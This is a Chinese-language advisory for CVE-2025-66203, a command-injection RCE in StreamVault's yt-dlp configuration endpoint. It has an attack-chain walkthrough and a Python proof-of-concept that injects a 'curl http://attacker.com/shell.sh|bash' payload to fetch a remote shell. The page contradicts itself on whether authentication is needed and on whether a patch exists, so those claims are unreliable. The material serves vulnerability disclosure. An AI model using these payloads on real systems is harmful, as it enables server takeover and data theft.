IPBUF安全漏洞报告
English
CVE-2025-66203 CVSS 9.9 严重

CVE-2025-66203 StreamVault 远程代码执行漏洞

披露日期: 2025-12-27

漏洞信息

漏洞编号
CVE-2025-66203
漏洞类型
远程代码执行(RCE)
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
StreamVault

相关标签

CVE-2025-66203远程代码执行RCEStreamVaultyt-dlp命令注入CVSS 9.9严重漏洞视频下载应用SpiritApplication

漏洞概述

CVE-2025-66203是StreamVault视频下载集成解决方案中的一个严重远程代码执行漏洞。StreamVault是一款用于视频下载的应用系统,提供与yt-dlp的集成功能。在251126之前的版本中,该应用存在严重的安全缺陷,允许攻击者通过管理接口执行任意系统命令。漏洞的根本原因在于应用程序对yt-dlp参数的验证机制不完善,攻击者可以通过精心构造的恶意参数注入系统命令。由于该漏洞的CVSS评分高达9.9,属于严重级别,对系统的机密性、完整性和可用性都造成了极高的风险。未经身份验证的攻击者可以利用此漏洞完全控制受影响的服务器,窃取敏感数据、植入后门或进行其他恶意活动。该漏洞已被官方确认并在新版本中修复,建议所有用户立即升级到251126或更高版本。

技术细节

StreamVault应用中的远程代码执行漏洞主要源于对yt-dlp命令行参数的不当处理。应用程序提供了/admin/api/saveConfig管理端点,允许管理员配置yt-dlp的执行参数。问题在于这些参数在接收时缺乏充分的输入验证和清理机制。恶意构造的参数会被存储到全局配置中,随后在YtDlpUtil.java文件构建yt-dlp命令行时被直接使用。攻击者可以利用这一点,通过注入分号、管道符或反引号等shell特殊字符,在yt-dlp命令执行时插入任意系统命令。例如,攻击者可以在yt-dlp参数中插入'$(whoami)'或';curl http://attacker.com/shell.sh|bash'等payload,当yt-dlp执行时,这些恶意命令将被shell解释执行。由于yt-dlp通常以高权限运行,攻击者可以获得服务器的最高控制权限。整个攻击过程不需要任何用户交互,且可以通过网络远程实施。

攻击链分析

STEP 1
步骤1
攻击者访问StreamVault管理后台,使用低权限管理员账号登录系统
STEP 2
步骤2
攻击者向/admin/api/saveConfig端点发送恶意构造的yt-dlp参数,在参数中注入系统命令
STEP 3
步骤3
恶意参数被存储到全局配置中,等待后续调用
STEP 4
步骤4
当yt-dlp被触发执行时,YtDlpUtil.java将恶意参数拼接到命令行中
STEP 5
步骤5
操作系统shell解释器执行包含恶意代码的完整命令,实现远程代码执行
STEP 6
步骤6
攻击者获得服务器最高权限,可执行任意操作包括数据窃取、横向移动等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66203 PoC - StreamVault RCE via yt-dlp config # Target: StreamVault < version 251126 target_url = "http://target.com" # Step 1: Login as admin login_url = f"{target_url}/admin/api/login" login_data = { "username": "admin", "password": "admin" } session = requests.Session() login_response = session.post(login_url, json=login_data) # Step 2: Inject malicious yt-dlp argument for RCE save_config_url = f"{target_url}/admin/api/saveConfig" malicious_config = { "yt-dlp-args": "--exec 'curl http://attacker.com/shell.sh|bash'" } config_response = session.post(save_config_url, json=malicious_config) # Step 3: Trigger yt-dlp execution download_url = f"{target_url}/admin/api/download" download_data = { "url": "https://example.com/video.mp4" } download_response = session.post(download_url, json=download_data) print("RCE Payload sent. Check listener for reverse shell.")

影响范围

StreamVault < 251126

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 限制管理后台的访问来源,仅允许受信任的IP地址访问;2) 暂时禁用/admin/api/saveConfig端点的网络访问;3) 监控应用日志中的异常API调用行为;4) 考虑使用网络隔离技术将StreamVault部署在独立的隔离网络中;5) 定期检查是否存在未授权的配置变更。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表